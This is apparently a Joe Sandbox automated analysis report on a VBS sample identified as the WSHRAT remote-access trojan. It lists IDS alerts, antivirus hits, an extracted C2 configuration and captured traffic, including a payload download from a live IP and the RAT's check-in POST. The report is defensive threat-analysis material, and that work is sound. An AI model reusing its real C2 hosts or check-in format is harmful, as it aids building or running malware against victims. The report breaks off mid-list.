2025-04-15T12:36:40.056719+0200	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49744	104.168.7.12	6892	TCP
2025-04-15T12:36:45.266532+0200	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49745	104.168.7.12	6892	TCP
2025-04-15T12:36:45.376709+0200	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49746	104.168.7.12	6892	TCP
2025-04-15T12:36:54.017418+0200	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49747	104.168.7.12	6892	TCP
2025-04-15T12:36:54.025394+0200	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49748	104.168.7.12	6892	TCP
2025-04-15T12:36:59.329775+0200	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49749	104.168.7.12	6892	TCP
2025-04-15T12:36:59.391943+0200	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49750	104.168.7.12	6892	TCP
2025-04-15T12:37:04.660579+0200	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49751	104.168.7.12	6892	TCP
2025-04-15T12:37:04.740778+0200	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49752	104.168.7.12	6892	TCP
2025-04-15T12:37:10.079567+0200	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49753	104.168.7.12	6892	TCP
2025-04-15T12:37:10.138169+0200	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49754	104.168.7.12	6892	TCP
2025-04-15T12:37:15.394057+0200	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49755	104.168.7.12	6892	TCP
2025-04-15T12:37:15.471862+0200	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49756	104.168.7.12	6892	TCP
2025-04-15T12:37:23.834702+0200	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49757	104.168.7.12	6892	TCP
2025-04-15T12:37:23.839817+0200	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49758	104.168.7.12	6892	TCP
2025-04-15T12:37:29.151615+0200	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49759	104.168.7.12	6892	TCP
2025-04-15T12:37:29.196725+0200	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49760	104.168.7.12	6892	TCP
2025-04-15T12:37:34.473351+0200	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49761	104.168.7.12	6892	TCP
2025-04-15T12:37:34.540511+0200	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49762	104.168.7.12	6892	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://lee44.kozow.com:6892/is-readyV	Avira URL Cloud: Label: phishing
Source: http://lee44.kozow.com:6892/is-readybe.TARM~1	Avira URL Cloud: Label: phishing
Source: http://lee44.kozow.com:6892/is-ready	Avira URL Cloud: Label: phishing
Source: http://lee44.kozow.com:6892/is-readyL	Avira URL Cloud: Label: phishing
Source: http://lee44.kozow.com:6892/is-readyParrs	Avira URL Cloud: Label: phishing
Source: http://lee44.kozow.com:6892/is-ready6-A4x	Avira URL Cloud: Label: phishing
Source: http://lee44.kozow.com:6892/is-ready813S8R	Avira URL Cloud: Label: phishing
Source: http://lee44.kozow.com:6892/is-readyO	Avira URL Cloud: Label: phishing
Source: http://lee44.kozow.com:6892/is-ready862	Avira URL Cloud: Label: phishing
Source: http://lee44.kozow.com:6892/is-ready13862-A4x	Avira URL Cloud: Label: phishing
Source: http://lee44.kozow.com:6892/is-ready8076.amsi.csv	Avira URL Cloud: Label: phishing
Source: http://lee44.kozow.com:6892/is-readys	Avira URL Cloud: Label: phishing
Source: lee44.kozow.com	Avira URL Cloud: Label: phishing
Source: http://lee44.kozow.com:6892/is-readyX	Avira URL Cloud: Label: phishing
Source: http://lee44.kozow.com:6892/is-readyt	Avira URL Cloud: Label: phishing
Source: http://lee44.kozow.com:6892/is-ready/h	Avira URL Cloud: Label: phishing
Source: http://lee44.kozow.com:6892/is-readye	Avira URL Cloud: Label: phishing
Source: http://lee44.kozow.com:6892/is-ready20	Avira URL Cloud: Label: phishing
Source: http://lee44.kozow.com:6892/is-readyaras	Avira URL Cloud: Label: phishing
Source: http://172.245.208.13/wex/ggh.js	Avira URL Cloud: Label: malware
Source: http://lee44.kozow.com:6892/is-readyem32	Avira URL Cloud: Label: phishing
Source: http://lee44.kozow.com/14-4c59-bad8-9c31255dc46ah	Avira URL Cloud: Label: phishing
Source: http://lee44.kozow.com:6892/is-readyzow.com:6892/is-readyP	Avira URL Cloud: Label: phishing
Source: http://lee44.kozow.com:6892/is-ready-A4	Avira URL Cloud: Label: phishing
Source: http://lee44.kozow.com:6892/is-ready4	Avira URL Cloud: Label: phishing
Source: http://lee44.kozow.com:6892/is-readyadyEM	Avira URL Cloud: Label: phishing
Source: http://lee44.kozow.com:6892/is-ready3	Avira URL Cloud: Label: phishing
Source: http://lee44.kozow.com:6892/is-ready-A4x	Avira URL Cloud: Label: phishing
Source: http://lee44.kozow.com:6892/is-ready38638	Avira URL Cloud: Label: phishing
Source: http://lee44.kozow.com:6892/is-readyzow.com:6892/is-readys	Avira URL Cloud: Label: phishing

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\notepad.js

Avira: detection malicious, Label: JS/Dldr.G8

Found malware configuration

Source: amsi64_8076.amsi.csv

Malware Configuration Extractor: WSHRAT {"C2 url": "lee44.kozow.com", "Port": "6892", "Install folder": "%temp%"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\JaG.exe

ReversingLabs: Detection: 68%

Multi AV Scanner detection for submitted file

Source: ORDER-25013-67789543AX.vbs

Virustotal: Detection: 13%

Perma Link

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Neural Call Log Analysis: 99.8%

Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\JaG.exe

Code function: 4x nop then lea esp, dword ptr [ebp-08h]

5_2_024FBA48

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49743 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49729 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49729 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49728 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49728 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49730 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49738 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49738 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49740 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49740 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49727 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49742 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49733 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49742 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49725 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49725 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49735 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49746 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49746 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49731 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49734 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49731 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49741 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49741 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49747 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49730 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49718 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49718 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49726 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49760 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49739 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49760 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49739 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49734 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49756 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49717 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49735 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49756 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49717 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49726 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49744 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49744 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49737 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49737 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49750 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49750 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49733 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49753 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49727 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49759 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49762 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49743 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49754 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49759 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49753 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49762 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49755 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49747 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49755 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49761 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49761 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49754 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49758 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49751 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49758 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49751 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49752 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49752 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49745 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49745 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49732 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49749 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49732 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49749 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49748 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49748 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49757 -> 104.168.7.12:6892
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49757 -> 104.168.7.12:6892

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\wscript.exe	Network Connect: 172.245.208.13 80			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Network Connect: 104.168.7.12 6892

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: lee44.kozow.com

Potential malicious VBS script found (has network functionality)

Source:

Initial file: aTVJlgQpMqQBNfSosmvtCHeYEVPjWxKwdJMSFtgOMZwAHcQMJOwYuPZTpwEPRgTPgTXDSAjzFghdKdQcFDaIBmCNjt.SaveToFile RqVkNIXqpwdYPrkNFCGodcZLGwUMauVxsxspiBLguBINHUuwrCLxoWBoQJdRnLPubffRyueDrZt, JpGYbxYZXAbQutWjTRgectuCiFfHDaRcJhTkOgfurqSrkncQyLCoySEPvEqVRQWwizGMamUmmlnmbCRvcPJrYddrcDoKpJc

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 6892

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 65

Source: global traffic

TCP traffic: 192.168.2.4:49717 -> 104.168.7.12:6892

Source: Joe Sandbox View

IP Address: 172.245.208.13 172.245.208.13

Source: Joe Sandbox View	ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
Source: Joe Sandbox View	ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS

Source: global traffic

HTTP traffic detected: GET /wex/ggh.js HTTP/1.1Accept: */*Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 172.245.208.13Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.13

Source: global traffic

DNS traffic detected: DNS query: lee44.kozow.com

Source: unknown

HTTP traffic detected: POST /is-ready HTTP/1.1Accept: */*user-agent: WSHRAT|B81A4609|user-PC|user|Microsoft Windows 10 Pro|plus|Windows Defender .|false - 15/4/2025|JavaScriptAccept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateHost: lee44.kozow.com:6892Content-Length: 0Connection: Keep-AliveCache-Control: no-cache

Source: wscript.exe, 00000001.00000002.1345926232.000002BF13223000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1345384983.000002BF114EE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1345841399.000002BF11775000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1343432506.000002BF1152A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1345634293.000002BF11574000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1343758832.000002BF114EE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1338570705.000002BF137F4000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1343866311.000002BF11574000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1345477649.000002BF11531000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1344503722.000002BF114EE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1344240544.000002BF133A5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1343333967.000002BF11574000.00000004.00000020.00020000.00000000.sdmp, 